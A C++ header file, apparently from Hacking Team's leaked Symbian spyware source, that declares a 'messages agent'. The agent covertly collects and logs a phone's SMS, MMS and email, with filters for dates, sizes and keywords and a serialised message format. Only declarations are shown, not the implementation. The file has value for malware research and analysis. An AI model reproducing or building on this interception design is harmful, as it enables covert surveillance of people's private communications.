hackedteam/core-symbian

/*
 ============================================================================
 Name        : AgentMessages.h
 Author      : Marco Bellino
 Version     : 1.0
 Copyright   : Your copyright notice
 Description : CAgentMessages declaration
 ============================================================================
 */

#ifndef AGENTMessages_H
#define AGENTMessages_H

// INCLUDES
#include <e32std.h>
#include <e32base.h>

#include <mmsclient.h>

#include <msvapi.h>
#include <msvstd.h>
#include <s32mem.h>
#include <HT\logging.h>
#include <HT\LongRunTask.h>
#include "AbstractAgent.h"
#include "MessageFilter.h"
#include "AdditionalDataStructs.h"


#define MAPI_V1_0_PROTO      0x01000000  // Protocol Version 1
#define MAPI_V2_0_PROTO        2009070301 
#define MESSAGE_INCOMING    0x00000001 
//#define MAIL_FULL_BODY         0x00000001 

#define AGENTCONF_CLASSNAMELEN  32

typedef struct TMAPISerializedMessageHeader {
        TUint32 iDwSize;            // size of serialized message (this struct + class/from/to/subject + message body + attachs)
        TUint32 iVersionFlags;      // flags for parsing serialized message
        TUint32 iStatus;            // message status (non considerarlo per ora, mettilo a 0)
        TUint32 iFlags;             // message flags
        TUint32 iSize;              // message size    (non considerarlo per ora, mettilo a 0)
        TFileTime iDeliveryTime;    // delivery time of message (maybe null)
        TUint32 iNumAttachs;        // number of attachments
        
        TMAPISerializedMessageHeader() {
            iDwSize = sizeof(TMAPISerializedMessageHeader);
            iStatus = 0;
            iVersionFlags = MAPI_V1_0_PROTO;
            iFlags = MESSAGE_INCOMING;
            iSize = 0;
        }
        
    } TMAPISerializedMessageHeader;

typedef struct TMarkup 
    {
    TTime smsMarkup;
    TTime mmsMarkup;
    TTime mailMarkup;
    } TMarkup;

typedef struct TAgentClassFilterHeader {
    TUint32 uSize;                                      // dimensione in byte dell'header e delle keyword
    TUint32 uVersion;                                   // al momento, sempre settato a FILTER_CLASS_V1_0
    TUint32 uType;                                      // REALTIME o COLLECT
    TUint16 MessageClass[AGENTCONF_CLASSNAMELEN];       // Classe del messaggio
    TUint32 bEnabled;                                   // FALSE per le classi disabilitate, altrimenti TRUE
    TUint32 bAll;                                       // se TRUE, accetta tutti i messaggi della classe 
                                                            // (ignora keyword)
    TUint32 bDoFilterFromDate;                          // accetta i messaggi a partire da FromDate
    TUint32 fromLow;
    TUint32 fromHigh;
    TUint32 bDoFilterToDate;                            // accetta i messaggi fino a ToDate
    TUint32 toLow;
    TUint32 toHigh;
    TUint32 maxMessageSize;                              // filtra in base alla dimensione del messaggio 
                                                            // 0 indica di accettare tutti i messaggi
    TUint32 maxMessageBytesToLog;                       // di ciascun messaggio, prendi solo MaxMessageBytesToLog  
                                                            // 0 indica di accettare tutto il messaggio
} TAgentClassFilterHeader;


// CLASS DECLARATION


/**
 *  CAgentMessages
 * 
 */
class CAgentMessages : public CAbstractAgent, public MLongTaskCallBack, public MMsvSessionObserver
    {
public:
    // Constructors and destructor

    /**
     * Destructor.
     */
    ~CAgentMessages();

    /**
     * Two-phased constructor.
     */
    static CAgentMessages* NewL(const TDesC8& params);

    /**
     * Two-phased constructor.
     */
    static CAgentMessages* NewLC(const TDesC8& params);

protected:
    // From CAbstractQueueEndPoint
    virtual void StartAgentCmdL();
    virtual void StopAgentCmdL();

private:
    // from MLongTaskCallBack
    virtual void DoOneRoundL();

private:
    // from MMsvSessionObserver
    virtual void HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3);

private:
    //void AddStoreToStreamL(RWriteStream& strm, const TMsvId& msvId, TMAPISerializedMessageHeader& aSerializedMsg);

    /**
     * Populates the Array with the childs of the ParrentId entry
     * @param parentId an entry
     */ 
    void PopulateArrayWithChildsTMsvIdEntriesL(TMsvId parentId);

    /**
     * Transform the information contained in the TMsvId entry in a buffer.
     * @return The buffer in proper format, ready to be written in the file.
     */
    
    HBufC8* GetSMSBufferL(TMsvEntry& aMsvEntryIdx, const TMsvId& aMsvId);
    
    HBufC8* GetMMSBufferL(TMsvEntry& aMsvEntryIdx, const TMsvId& aMsvId);
    
    HBufC8* GetMailBufferL(TMsvEntry& aMsvEntryIdx, const TMsvId& aMsvId, CMessageFilter* aFilter);

    
    HBufC8* GetMarkupBufferL(const TMarkup aMarkup);
    
    //TInt64 GetFiletime(TTime& aTime);
    
    //TInt64 SetSymbianTime(TUint64 aFiletime);
    
    void FillFilter(CMessageFilter* aFilter, const TAgentClassFilterHeader aFilterHeader);
    
    void ParseParameters(void);

    /**
     * Constructor for performing 1st stage construction
     */
    CAgentMessages();

    /**
     * EPOC default constructor for performing 2nd stage construction
     */
    void ConstructL(const TDesC8& params);

    //TODO: delete this method when finished mail test
    //void WriteMailFile(const TDesC8& aData);
    
private:
    CMsvSession* iMsvSession;            
    CMsvEntryFilter* iFilter;
    CMsvEntrySelection* iSelection;    
    CLongTaskAO* iLongTask;                // For Long-Running Task management
    TBool iStopLongTask;                // Flag to stop the current operation
    RArray<TMsvId> iMsvArray;            // Contains a snapshot of ALL the TMsvId available on the device
    TInt iArrayIndex;                    // The current index of the MsvArray
    TMsvId iNewMessageId;                // The Id of the new Message Entry just created on the server
    TBool iLogNewMessages;                // When True this Agent will log new incoming messages to file

    
    CClientMtmRegistry* iMtmReg;      // For sender/recipient of MMS  
    CMmsClientMtm* iMmsMtm;
    CSmsClientMtm* iSmsMtm;
    
    CMessageFilter* iSmsCollectFilter; 
    CMessageFilter* iSmsRuntimeFilter;
    CMessageFilter* iMmsCollectFilter;
    CMessageFilter* iMmsRuntimeFilter;
    CMessageFilter* iMailCollectFilter;
    CMessageFilter* iMailRuntimeFilter;
    
    TMarkup iMarkup;
    CLogFile* iMarkupFile;
    
    TMailRawAdditionalData    iMailRawAdditionalData;
    
    __FLOG_DECLARATION_MEMBER
    };

#endif // AGENTMessages_H